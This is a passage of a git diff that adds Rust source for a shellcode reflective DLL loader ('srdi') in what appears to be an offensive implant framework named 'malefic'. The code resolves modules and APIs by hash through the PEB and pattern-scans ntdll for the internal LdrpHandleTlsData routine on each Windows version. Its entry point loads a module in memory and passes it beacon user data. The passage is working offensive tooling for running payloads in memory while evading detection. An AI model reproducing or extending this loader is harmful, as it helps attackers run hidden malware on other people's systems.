#[cfg(target_arch = "x86")] + { + let eax: u32; + unsafe { + asm!( + "mov {}, dword ptr fs:[0x30]", + out(reg) eax, + options(nostack, pure, readonly), + ); + } + ax = eax as _; + return ax; + } + ax +} + +#[no_mangle] +unsafe fn memset(dst: *mut c_void, val: u8, len: usize) { + srdi_memset(dst as _, val, len); +} + +unsafe fn get_win_ver(rtl_get_version: *const core::ffi::c_void) -> WinVer { + let mut native: OSVERSIONINFOEXW = core::mem::zeroed(); + transmute::<*const c_void, RtlGetVersion>(rtl_get_version)(&mut native as *mut _ as _); + let fullver = native.dwMajorVersion << 8 | native.dwMinorVersion; + let ver = match fullver { + WIN32_WIN_NT_WIN10 => { + if native + .dwBuildNumber + .ge(&(BuildThreshold::BUILD_Win11Beta as _)) + { + VerShort::WIN11_Beta + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_20_H1 as _)) { + VerShort::WIN10_20H1 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_19_H2 as _)) { + VerShort::WIN10_19H2 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_19_H1 as _)) { + VerShort::WIN10_19H1 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS5 as _)) { + VerShort::WIN10_RS6 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS4 as _)) { + VerShort::WIN10_RS5 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS3 as _)) { + VerShort::WIN10_RS4 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS2 as _)) { + VerShort::WIN10_RS3 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS1 as _)) { + VerShort::WIN10_RS2 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS0 as _)) { + VerShort::WIN10_RS1 + } else { + VerShort::WIN10 + } + } + WIN32_WIN_NT_WINBLUE => VerShort::WIN8_POINT1, + WIN32_WIN_NT_WIN8 => VerShort::WIN8, + WIN32_WIN_NT_WIN7 => VerShort::WIN7, + WIN32_WIN_NT_WINXP => VerShort::WIN_XP, + _ => VerShort::WIN_UNSUPPORTED, + }; + WinVer { + ver, + rversion: native.dwBuildNumber, + native, + } +} + +unsafe fn get_module_base_by_hash(module_hash: u32) -> *const c_void { + let peb = get_peb() as *mut PEB; + let peb_ldr_data_ptr = (*peb).Ldr as *mut PEB_LDR_DATA; + let mut module_list = + (*peb_ldr_data_ptr).InMemoryOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + let last_entry = (*peb_ldr_data_ptr).InMemoryOrderModuleList.Blink as *mut LDR_DATA_TABLE_ENTRY; + let mut module = read_unaligned(module_list); + + while !module.DllBase.is_null() { + let dll_buffer_ptr = module.FullDllName.Buffer; + let dll_length = module.FullDllName.Length as usize; + let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length); + + if module_hash == dbj2_str_hash(dll_name_slice) { + return module.Reserved2[0] as _; + } + if module_list == last_entry { + break; + } + module_list = module.Reserved1[0] as *mut LDR_DATA_TABLE_ENTRY; + + module = read_unaligned(module_list); + } + + null() +} + +unsafe fn get_export_by_hash(module_base: *const c_void, func_hash: u32) -> *const c_void { + let nt_headers = get_nt_header!(module_base); + let export_dir = &(*nt_headers).OptionalHeader.DataDirectory[0]; + let export_dir_ptr = pointer_add(module_base, export_dir.VirtualAddress as usize) + as *const IMAGE_EXPORT_DIRECTORY; + if export_dir_ptr.is_null() { + return null(); + } + let export_dir = read_unaligned(export_dir_ptr); + let func_rva = pointer_add(module_base, export_dir.AddressOfFunctions as usize) as *const u32; + let func_name_rva = pointer_add(module_base, export_dir.AddressOfNames as usize) as *const u32; + let func_ord_rva = + pointer_add(module_base, export_dir.AddressOfNameOrdinals as usize) as *const u16; + + for i in 0..(export_dir.NumberOfFunctions as isize) { + let func_name = pointer_add( + module_base, + read_unaligned(func_name_rva.offset(i)) as usize, + ) as *const u8; + let hsah = dbj2_str_hash(core::slice::from_raw_parts( + func_name, + get_cstr_len(func_name), + )); + if hsah.eq(&func_hash) { + let func_ord = read_unaligned(func_ord_rva.offset(i)) as isize; + return pointer_add( + module_base, + read_unaligned(func_rva.offset(func_ord)) as usize, + ) as _; + } + } + + null() +} + +#[no_mangle] +unsafe fn get_section_range( + module_base: *const c_void, + section_name: &[u8], +) -> (*const c_void, usize) { + let dos_headers = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_headers).e_magic.ne(&IMAGE_DOS_SIGNATURE) { + return (null(), 0); + } + + let nt_headers = get_nt_header!(module_base); + if (*nt_headers).Signature.ne(&IMAGE_NT_SIGNATURE) { + return (null(), 0); + } + + let file_header = &(*nt_headers).FileHeader; + let option_header = &(*nt_headers).OptionalHeader; + let mut section_header = pointer_add( + option_header as _, + file_header.SizeOfOptionalHeader as usize, + ) as *const IMAGE_SECTION_HEADER; + + let section_name = core::str::from_utf8_unchecked(section_name); + for _ in 0..file_header.NumberOfSections { + let section = section_header; + let name = core::str::from_utf8_unchecked(&(*section).Name); + if name.contains(section_name) { + let section_addr = pointer_add(module_base, (*section).VirtualAddress as usize); + return (section_addr, *(*section).Misc.VirtualSize() as usize); + } + section_header = section_header.offset(1); + } + + (null(), 0) +} + +#[no_mangle] +unsafe fn LdrpHandleTlsData(ntdll: *const c_void, hmodule: *mut c_void, win_ver: &WinVer) -> i32 { + let ldrp_handle_tls = search_ldrp_handle_tls(ntdll, win_ver); + if ldrp_handle_tls.is_null() { + return 0; + } + let mut ldr_data_table_entry: LDR_DATA_TABLE_ENTRY = + core::mem::MaybeUninit::uninit().assume_init(); + srdi_memset( + &mut ldr_data_table_entry as *mut _ as _, + 0, + core::mem::size_of::(), + ); + ldr_data_table_entry.DllBase = hmodule; + if IsWindows8Point1OrGreater(win_ver) { + transmute::<*const c_void, crate::types::LdrpHandleTlsDataWin8Point1OrGreater>( + ldrp_handle_tls, + )(&mut ldr_data_table_entry as *mut _ as _) + } else { + transmute::<*const c_void, crate::types::LdrpHandleTlsDataOther>(ldrp_handle_tls)( + &mut ldr_data_table_entry as *mut _ as _, + ) + } + // #[cfg(target_arch = "x86_64")] + // { + // transmute::<*const c_void, crate::types::LdrpHandleTlsData>(ldrp_handle_tls)( + // &mut ldr_data_table_entry as *mut _ as _ + // ) + // } + // #[cfg(target_arch = "x86")] + // { + // if IsWindows8Point1OrGreater(win_ver) { + // transmute::<*const c_void, crate::types::LdrpHandleTlsDataWin8Point1OrGreater>(ldrp_handle_tls)( + // &mut ldr_data_table_entry as *mut _ as _ + // ) + // } else { + // transmute::<*const c_void, crate::types::LdrpHandleTlsDataOther>(ldrp_handle_tls)( + // &mut ldr_data_table_entry as *mut _ as _ + // ) + // } + // } +} + +#[no_mangle] +unsafe fn search_ldrp_handle_tls(module_base: *const c_void, win_ver: &WinVer) -> *const c_void { + if module_base.is_null() { + return null(); + } + if IsWindows11BetaOrGreater(win_ver) { + return find_ldrp_handle_tls_greator_win11(module_base) as _; + } + let handle = get_ldrp_handle_tls_offset_data(win_ver); + if handle.offset.eq(&0) { + return null(); + } + let (section, size) = get_text_range(module_base); + if section.is_null() || size.eq(&0) { + return null(); + } + let offset = boyer_moore(section as _, size, &handle.pattern, handle.real_len); + if offset.eq(&-1) { + return null(); + } + let addr = (offset as usize + section as usize) as *const core::ffi::c_void; + return check_real_start(pointer_sub(addr, handle.offset)); +} + +#[no_mangle] +unsafe fn check_real_start(call_addr: *const c_void) -> *const c_void { + let mut real_start = call_addr as *const u8; + loop { + let data = read_unaligned(real_start); + if data.ne(&0xcc) && data.ne(&0x90) { + break; + } + real_start = real_start.add(1); + } + real_start as _ +} + +#[no_mangle] +pub unsafe fn find_ldrp_handle_tls_greator_win11(ntdll: *const c_void) -> usize { + loop { + let str_pattern: [u8; 18] = [ + 0x4C, 0x64, 0x72, 0x70, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, + 0x54, 0x6C, 0x73, 0x00, + ]; + let s_addr; + #[cfg(target_arch = "x86_64")] + { + s_addr = find_string_in_rdata(ntdll, &str_pattern); + } + #[cfg(target_arch = "x86")] + { + s_addr = find_string_in_text(ntdll, &str_pattern); + } + + let xref_addr; + #[cfg(target_arch = "x86_64")] + { + let start_pattern: [u8; 3] = [0x4C, 0x8D, 0x05]; + xref_addr = find_xref_in_text(ntdll, &start_pattern, 7, s_addr as usize); + if xref_addr.eq(&0) { + break; + } + } + #[cfg(target_arch = "x86")] + { + let start_pattern: [u8; 1] = [0x68]; + xref_addr = find_xref_in_text_without_rva(ntdll, &start_pattern, 5, s_addr as usize); + if xref_addr.eq(&0) { + break; + } + } + let xref_addr = xref_addr as usize + ntdll as usize; + let call_code: [u8; 1] = [0xE8]; + let call_drp_log_internal_addr = + boyer_moore(xref_addr as _, 0x30, &call_code, call_code.len()); + if call_drp_log_internal_addr.eq(&-1) { + break; + } + let call_drp_log_internal_addr = call_drp_log_internal_addr as usize + xref_addr as usize; + let call_ldr_allocate_tls_entry = boyer_moore( + (call_drp_log_internal_addr + 5) as _, + 0x30, + &call_code, + call_code.len(), + ); + if call_ldr_allocate_tls_entry.eq(&-1) { + break; + } + let call_ldr_allocate_tls_entry = + call_ldr_allocate_tls_entry as usize + call_drp_log_internal_addr + 5; + + let ldr_allocate_tls_entry = call_ldr_allocate_tls_entry + .wrapping_add(calc_call_rva(call_ldr_allocate_tls_entry as _) as _); + let black_list: [usize; 1] = [call_ldr_allocate_tls_entry]; + let call_ldr_allocate_tls_entry2 = + find_call_rva_in_text(ntdll, ldr_allocate_tls_entry, &black_list); + if call_ldr_allocate_tls_entry2.eq(&0) { + break; + } + + return find_func_start(ntdll, call_ldr_allocate_tls_entry2); + } + 0 +} + +#[cfg(target_arch = "x86_64")] +#[no_mangle] +unsafe fn find_string_in_rdata(module_base: *const c_void, pattern: &[u8]) -> *const c_void { + let rdata_pattern: [u8; 6] = [0x2E, 0x72, 0x64, 0x61, 0x74, 0x61]; + let (rdata, rdata_size) = get_section_range(module_base, &rdata_pattern); + if rdata.is_null() || rdata_size.eq(&0) { + return null(); + } + let rdata = rdata as *const u8; + let addr = boyer_moore(rdata, rdata_size, pattern, pattern.len()); + if addr.eq(&-1) { + return null(); + } + let addr = rdata.offset(addr) as _; + return pointer_sub(addr, module_base as _); +} + +#[cfg(target_arch = "x86")] +#[no_mangle] +unsafe fn find_string_in_text(module_base: *const c_void, pattern: &[u8]) -> *const c_void { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return null(); + } + let text = text as *const u8; + let addr = boyer_moore(text, text_size, pattern, pattern.len()); + if addr.eq(&-1) { + return null(); + } + let dos_headers = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_headers).e_magic.ne(&IMAGE_DOS_SIGNATURE) { + return null(); + } + + let nt_headers = get_nt_header!(module_base); + if (*nt_headers).Signature.ne(&IMAGE_NT_SIGNATURE) { + return null(); + } + + let file_header = &(*nt_headers).FileHeader; + let option_header = &(*nt_headers).OptionalHeader; + let addr = text.add(addr as _); + return (addr as usize + + (text as usize - module_base as usize - (*option_header).BaseOfCode as usize)) + as *const core::ffi::c_void; +} + +unsafe fn get_text_range(module_base: *const c_void) -> (*const c_void, usize) { + let text_pattern: [u8; 5] = [0x2E, 0x74, 0x65, 0x78, 0x74]; + get_section_range(module_base, &text_pattern) +} + +unsafe fn find_func_start(module_base: *const c_void, call_addr: usize) -> usize { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return 0; + } + let start_addr = text as *const u16; + let end_addr = (text as usize + text_size) as *const u16; + let mut ptr = call_addr as *const u16; + if ptr.ge(&end_addr) { + return 0; + } + + loop { + let data = core::ptr::read_unaligned(ptr); + if data.eq(&0xCCCC) || data.eq(&0x9090) { + let ptr = ptr as *const u8; + let ptr = ptr.add(2); + if read_unaligned(ptr).eq(&0xcc) || read_unaligned(ptr).eq(&0x90) { + return ptr as usize + 1; + } + return ptr as usize; + } + ptr = ptr.sub(1); + if ptr.le(&start_addr) { + return 0; + } + } +} + +#[cfg(target_arch = "x86_64")] +#[no_mangle] +unsafe fn find_xref_in_text( + module_base: *const c_void, + start_pattern: &[u8], + op_code_len: usize, + xref: usize, +) -> usize { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return 0; + } + if start_pattern.len().gt(&12) { + return 0; + } + let mut start_addr = text as *const u8; + let mut size = text_size; + let xref_addr = module_base as usize + xref; + let mut new_pattern: [u8; 16] = core::mem::MaybeUninit::uninit().assume_init(); + srdi_memset(&mut new_pattern as *mut _ as _, 0, 16); + srdi_memcpy( + new_pattern.as_mut_ptr() as _, + start_pattern.as_ptr() as _, + start_pattern.len(), + ); + let xref_op = pointer_add(new_pattern.as_ptr() as _, start_pattern.len()); + let left_len = 16 - start_pattern.len(); + loop { + let offset = boyer_moore(start_addr, size, &start_pattern, start_pattern.len()); + if offset.eq(&-1) { + return 0; + } + let rv_offset = (xref_addr - (start_addr as usize + offset as usize) - op_code_len) as i32; + let rv_offset_bytes = rv_offset.to_le_bytes(); + srdi_memset(xref_op as _, 0, left_len); + srdi_memcpy( + xref_op as _, + rv_offset_bytes.as_ptr() as _, + rv_offset_bytes.len(), + ); + let new_len = start_pattern.len() + rv_offset_bytes.len(); + let new_offset = boyer_moore( + start_addr.offset(offset), + new_pattern.len(), + &new_pattern, + new_len, + ); + if new_offset.eq(&-1) { + let offset = offset as usize + op_code_len; + start_addr = start_addr.add(offset); + if start_addr.gt(&(text as *const u8).add(text_size)) { + return 0; + } else if size.le(&offset) { + return 0; + } + size = size - offset; + continue; + } + return start_addr.offset(offset) as usize - module_base as usize; + } +} + +#[cfg(target_arch = "x86")] +#[no_mangle] +unsafe fn find_xref_in_text_without_rva( + module_base: *const c_void, + start_pattern: &[u8], + op_code_len: usize, + xref: usize, +) -> usize { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return 0; + } + if start_pattern.len().gt(&12) { + return 0; + } + let mut new_pattern: [u8; 16] = core::mem::MaybeUninit::uninit().assume_init(); + srdi_memset(&mut new_pattern as *mut _ as _, 0, 16); + srdi_memcpy( + new_pattern.as_mut_ptr() as _, + start_pattern.as_ptr() as _, + start_pattern.len(), + ); + let xref = (xref as i32).to_le_bytes(); + srdi_memcpy( + new_pattern.as_mut_ptr().add(start_pattern.len()) as _, + xref.as_ptr() as _, + xref.len(), + ); + let offset = boyer_moore(text as _, text_size, &new_pattern, op_code_len); + if offset.eq(&-1) { + return 0; + } + return text.offset(offset) as usize - module_base as usize; +} + +#[no_mangle] +unsafe fn find_call_rva_in_text( + module_base: *const c_void, + func_addr: usize, + black_list: &[usize], +) -> usize { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return 0; + } + + let mut start_addr = text as *const u8; + let mut size = text_size; + let call_patt = [0xE8]; + loop { + // let offset = boyer_moore(start_addr, size, call_patt.as_ptr(), call_patt.len()); + let offset = boyer_moore(start_addr, size, &call_patt, call_patt.len()); + if offset.eq(&-1) { + return 0; + } + let call_addr = start_addr as isize + offset; + let rva = (func_addr as isize - call_addr as isize) as i32; + let current_rva = calc_call_rva(start_addr as usize + offset as usize); + if current_rva.eq(&rva) && !black_list.contains(&(call_addr as usize)) { + return start_addr as usize + offset as usize; + } + let offset = offset + 1; + start_addr = start_addr.offset(offset); + if start_addr.gt(&(text as *const u8).add(text_size)) { + return 0; + } else if size.le(&(offset as _)) { + return 0; + } + size = size - offset as usize; + continue; + } +} + +unsafe fn calc_call_rva(start_addr: usize) -> i32 { + let addr = (start_addr + 1) as *const i32; + let call_addr = core::ptr::read_unaligned(addr); + return call_addr + 5; +} + +#[no_mangle] +extern "C" fn memcpy(dest: *mut c_void, src: *const c_void, size: usize) -> *mut c_void { + unsafe { + srdi_memcpy(dest as _, src as _, size); + } + dest +} + +#[no_mangle] +extern "C" fn memcmp(dest: *const c_void, src: *const c_void, size: usize) -> i32 { + unsafe { srdi_memcmp(dest as _, src as _, size) } +} + +#[no_mangle] +pub extern "C" fn memmove(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 { + if src < dest as *const u8 { + for i in (0..n).rev() { + unsafe { + *dest.add(i) = *src.add(i); + } + } + } else { + for i in 0..n { + unsafe { + *dest.add(i) = *src.add(i); + } + } + } + dest +} + +#[no_mangle] +#[cfg(target_arch = "x86_64")] +pub extern "system" fn __CxxFrameHandler3(_: *mut u8, _: *mut u8, _: *mut u8, _: *mut u8) -> i32 { + unimplemented!() +} + +#[no_mangle] +#[cfg(target_arch = "x86")] +#[no_mangle] +unsafe extern "C" fn __CxxFrameHandler3() { + unreachable!() +} + +#[repr(C)] +struct ldrp_handle_tls_search { + pattern: [u8; 0x10], + real_len: usize, + offset: usize, +} + +unsafe fn get_ldrp_handle_tls_offset_data(win_ver: &WinVer) -> ldrp_handle_tls_search { + let mut ret_pattern: ldrp_handle_tls_search = core::mem::zeroed(); + #[cfg(target_arch = "x86_64")] + { + if IsWindows10RS3OrGreater(win_ver) { + let mut offset = 0x43; + if IsWindows1019H1OrGreater(win_ver) { + offset = 0x46; + } else if IsWindows10RS4OrGreater(win_ver) { + offset = 0x44; + } + let pattern = [0x74, 0x33, 0x44, 0x8D, 0x43, 0x09]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.offset = offset; + ret_pattern.real_len = pattern.len(); + // return (b"\x74\x33\x44\x8d\x43\x09", offset); + } else if IsWindows10RS2OrGreater(win_ver) { + let pattern = [0x74, 0x33, 0x44, 0x8D, 0x43, 0x09]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x43; + } else if IsWindows8Point1OrGreater(win_ver) { + let pattern = [0x44, 0x8D, 0x43, 0x09, 0x4C, 0x8D, 0x4C, 0x24, 0x38]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x43; + // return (b"\x44\x8d\x43\x09\x4c\x8d\x4c\x24\x38", 0x43); + } else if IsWindows8OrGreater(win_ver) { + let pattern = [0x48, 0x8B, 0x79, 0x30, 0x45, 0x8D, 0x66, 0x01]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x49; + // return (b"\x48\x8b\x79\x30\x45\x8d\x66\x01", 0x49); + } else if IsWindows7OrGreater(win_ver) { + let pattern = [ + 0x41, 0xB8, 0x09, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x38, + ]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x27; + } + } + #[cfg(target_arch = "x86")] + { + if IsWindows10RS3OrGreater(win_ver) { + let pattern = [0x8b, 0xc1, 0x8d, 0x4d, 0x08, 0x51]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + // let mut pattern = b"\x8b\xc1\x8d\x4d\xbc\x51"; + if IsWindows10RS5OrGreater(win_ver) { + let pattern = [0x33, 0xf6, 0x85, 0xc0, 0x79, 0x03]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + // pattern = b"\x33\xf6\x85\xc0\x79\x03"; + } else if IsWindows10RS4OrGreater(win_ver) { + let pattern = [0x8b, 0xc1, 0x8d, 0x4d, 0xac, 0x51]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + // pattern = b"\x8b\xc1\x8d\x4d\xac\x51"; + } + // let mut offset = 0x18; + ret_pattern.offset = 0x18; + if IsWindows1020H1OrGreater(win_ver) { + ret_pattern.offset = 0x2c; + // offset = 0x2C; + } else if IsWindows1019H1OrGreater(win_ver) { + ret_pattern.offset = 0x2e; + // offset = 0x2E; + } else if IsWindows10RS5OrGreater(win_ver) { + ret_pattern.offset = 0x2c; + // offset = 0x2C; + } + // return (pattern, offset); + } else if IsWindows10RS2OrGreater(win_ver) { + let pattern = [0x8b, 0xc1, 0x8d, 0x4d, 0xbc, 0x51]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x18; + // return (b"\x8b\xc1\x8d\x4d\xbc\x51", 0x18); + } else if IsWindows8Point1OrGreater(win_ver) { + let pattern = [0x50, 0x6a, 0x09, 0x6a, 0x01, 0x8b, 0xc1]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x1B; + // return (b"\x50\x6a\x09\x6a\x01\x8b\xc1", 0x1B); + } else if IsWindows8OrGreater(win_ver) { + let pattern = [0x8b, 0x45, 0x08, 0x89, 0x45, 0xa0]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0xC; + // return (b"\x8b\x45\x08\x89\x45\xa0", 0xC); + } else if IsWindows7OrGreater(win_ver) { + let pattern = [0x74, 0x20, 0x8d, 0x45, 0xd4, 0x50, 0x6a, 0x09]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x14; + // return (b"\x74\x20\x8d\x45\xd4\x50\x6a\x09", 0x14); + } + } + return ret_pattern; +} diff --git a/malefic-crates/srdi/src/main.rs b/malefic-crates/srdi/src/main.rs new file mode 100644 index 0000000..c061c7b --- /dev/null +++ b/malefic-crates/srdi/src/main.rs @@ -0,0 +1,26 @@ +#![allow(dead_code)] +#![allow(non_snake_case)] +#![allow(non_camel_case_types)] +#![allow(non_upper_case_globals)] +#![allow(overflowing_literals)] +#![allow(invalid_value)] +#![feature(naked_functions)] +#![no_std] +#![no_main] + +#[macro_use] +pub mod utils; + +pub mod types; + +pub mod loader; + +#[no_mangle] +pub unsafe extern "C" fn main( + module_base: *const core::ffi::c_void, + entry_func: *const core::ffi::c_void, + user_data: *const core::ffi::c_void, + user_data_len: usize, +) { + loader::loader(module_base, entry_func, user_data, user_data_len); +} diff --git a/malefic-crates/srdi/src/types.rs b/malefic-crates/srdi/src/types.rs new file mode 100644 index 0000000..12f7eb1 --- /dev/null +++ b/malefic-crates/srdi/src/types.rs @@ -0,0 +1,210 @@ +// use windows_sys::Win32::System::Diagnostics::Debug::IMAGE_RUNTIME_FUNCTION_ENTRY; + +pub type DllMain = + unsafe extern "system" fn(*mut core::ffi::c_void, u32, *mut core::ffi::c_void) -> i32; +pub const IMAGE_ORDINAL: usize = 0xffff; +pub const DLL_BEACON_USER_DATA: u32 = 0x0du32; + +#[repr(C)] +pub struct BASE_RELOCATION_BLOCK { + pub PageAddress: u32, + pub BlockSize: u32, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct BASE_RELOCATION_ENTRY { + offset_type: u16, +} + +impl BASE_RELOCATION_ENTRY { + pub fn offset_(&self) -> u16 { + self.offset_type & 0xFFF + } + + pub fn type_(&self) -> u16 { + (self.offset_type >> 12) & 0xF + } +} + +pub type PBASE_RELOCATION_ENTRY = *mut BASE_RELOCATION_ENTRY; + +#[repr(C)] +pub struct IMAGE_RUNTIME_FUNCTION_ENTRY_u([u32; 1]); +impl Copy for IMAGE_RUNTIME_FUNCTION_ENTRY_u {} +impl Clone for IMAGE_RUNTIME_FUNCTION_ENTRY_u { + #[inline] + fn clone(&self) -> IMAGE_RUNTIME_FUNCTION_ENTRY_u { + *self + } +} +impl IMAGE_RUNTIME_FUNCTION_ENTRY_u { + pub unsafe fn UnwindInfoAddress(&self) -> &u32 { + &*(self as *const _ as *const u32) + } + + pub unsafe fn UnwindInfoAddress_mut(&mut self) -> &mut u32 { + &mut *(self as *mut _ as *mut u32) + } + + pub unsafe fn UnwindData(&self) -> &u32 { + &*(self as *const _ as *const u32) + } + + pub unsafe fn UnwindData_mut(&mut self) -> &mut u32 { + &mut *(self as *mut _ as *mut u32) + } +} + +pub type RTL_OSVERSIONINFOEXW = OSVERSIONINFOEXW; + +STRUCT! { + struct OSVERSIONINFOEXW { + dwOSVersionInfoSize: u32, + dwMajorVersion: u32, + dwMinorVersion: u32, + dwBuildNumber: u32, + dwPlatformId: u32, + szCSDVersion: [u16; 128], + wServicePackMajor: u16, + wServicePackMinor: u16, + wSuiteMask: u16, + wProductType: u8, + wReserved: u8, + } +} + +#[repr(C)] +pub struct _IMAGE_RUNTIME_FUNCTION_ENTRY { + pub BeginAddress: u32, + pub EndAddress: u32, + pub u: IMAGE_RUNTIME_FUNCTION_ENTRY_u, +} + +pub type IMAGE_RUNTIME_FUNCTION_ENTRY = _IMAGE_RUNTIME_FUNCTION_ENTRY; +pub type PRUNTIME_FUNCTION = *const IMAGE_RUNTIME_FUNCTION_ENTRY; + +pub type VirtualAlloc = unsafe extern "system" fn( + lpaddress: *const ::core::ffi::c_void, + dwsize: usize, + flallocationtype: u32, + flprotect: u32, +) -> *mut ::core::ffi::c_void; + +pub type LoadLibraryA = + unsafe extern "system" fn(lplibfilename: *const i8) -> *mut ::core::ffi::c_void; + +pub type GetProcAddress = unsafe extern "system" fn( + hmodule: *mut ::core::ffi::c_void, + lpprocname: *const i8, +) -> *mut ::core::ffi::c_void; + +pub type RtlAddFunctionTable = unsafe extern "system" fn( + functiontable: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + entrycount: u32, + baseaddress: u64, +) -> u8; + +pub type NtFlushInstructionCache = unsafe extern "system" fn( + hprocess: isize, + lpbaseaddress: *const ::core::ffi::c_void, + dwsize: usize, +) -> i32; + +pub type VirtualProtect = unsafe extern "system" fn( + lpaddress: *const ::core::ffi::c_void, + dwsize: usize, + flnewprotect: u32, + lpfloldprotect: *mut u32, +) -> i32; + +pub type LdrpHandleTlsData = unsafe extern "system" fn(hmodule: *mut ::core::ffi::c_void) -> i32; + +pub type LdrpHandleTlsDataWin8Point1OrGreater = + unsafe extern "thiscall" fn(hmodule: *mut ::core::ffi::c_void) -> i32; + +pub type LdrpHandleTlsDataOther = + unsafe extern "stdcall" fn(hmodule: *mut ::core::ffi::c_void) -> i32; + +pub type RtlGetVersion = + unsafe extern "system" fn(lpversioninformation: *mut OSVERSIONINFOEXW) -> i32; + +ENUM! { + enum Win32WinNt { + WIN32_WIN_NT_NT4 = 0x0400, + WIN32_WIN_NT_WIN2_K = 0x0500, + WIN32_WIN_NT_WINXP = 0x0501, + WIN32_WIN_NT_WS03 = 0x0502, + WIN32_WIN_NT_WIN6 = 0x0600, + WIN32_WIN_NT_VISTA = 0x0600, + WIN32_WIN_NT_WS08 = 0x0600, + WIN32_WIN_NT_LONGHORN = 0x0600, + WIN32_WIN_NT_WIN7 = 0x0601, + WIN32_WIN_NT_WIN8 = 0x0602, + WIN32_WIN_NT_WINBLUE = 0x0603, + WIN32_WIN_NT_WIN10 = 0x0A00, + } +} + +pub enum BuildThreshold { + BUILD_RS0 = 10586, + BUILD_RS1 = 14393, + BUILD_RS2 = 15063, + BUILD_RS3 = 16299, + BUILD_RS4 = 17134, + BUILD_RS5 = 17763, + BUILD_19_H1 = 18362, + BUILD_19_H2 = 18363, + BUILD_20_H1 = 19041, + BUILD_Win11Beta = 21996, + BUILD_RS_MAX = 99999, +} + +pub enum VerShort { + WIN_UNSUPPORTED, // Unsupported OS + WIN_XP, // Windows XP + WIN7, // Windows 7 + WIN8, // Windows 8 + WIN8_POINT1, // Windows 8.1 + WIN10, // Windows 10 + WIN10_RS1, // Windows 10 Anniversary update + WIN10_RS2, // Windows 10 Creators update + WIN10_RS3, // Windows 10 Fall Creators update + WIN10_RS4, // Windows 10 Spring Creators update + WIN10_RS5, // Windows 10 October 2018 update + WIN10_RS6, // Windows 10 May 2019 update + WIN10_19H1, // Windows 10 May 2019 update + WIN10_19H2, // Windows 10 November 2019 update + WIN10_20H1, // Windows 10 April 2020 update + WIN11_Beta, // Windows 11 Beta +} + +impl From for VerShort { + fn from(ver: u32) -> Self { + match ver { + 0 => VerShort::WIN_UNSUPPORTED, + 1 => VerShort::WIN_XP, + 2 => VerShort::WIN7, + 3 => VerShort::WIN8, + 4 => VerShort::WIN8_POINT1, + 5 => VerShort::WIN10, + 6 => VerShort::WIN10_RS1, + 7 => VerShort::WIN10_RS2, + 8 => VerShort::WIN10_RS3, + 9 => VerShort::WIN10_RS4, + 10 => VerShort::WIN10_RS5, + 11 => VerShort::WIN10_RS6, + 12 => VerShort::WIN10_19H1, + 13 => VerShort::WIN10_19H2, + 14 => VerShort::WIN10_20H1, + 15 => VerShort::WIN11_Beta, + _ => VerShort::WIN_UNSUPPORTED, + } + } +} + +pub struct WinVer { + pub ver: VerShort, + pub rversion: u32, + pub native: OSVERSIONINFOEXW, +} diff --git a/malefic-crates/srdi/src/utils.rs b/malefic-crates/srdi/src/utils.rs new file mode 100644 index 0000000..1b17064 --- /dev/null +++ b/malefic-crates/srdi/src/utils.rs @@ -0,0 +1,450 @@ +use core::ffi::c_void; + +use crate::types::{ + BuildThreshold, WinVer, 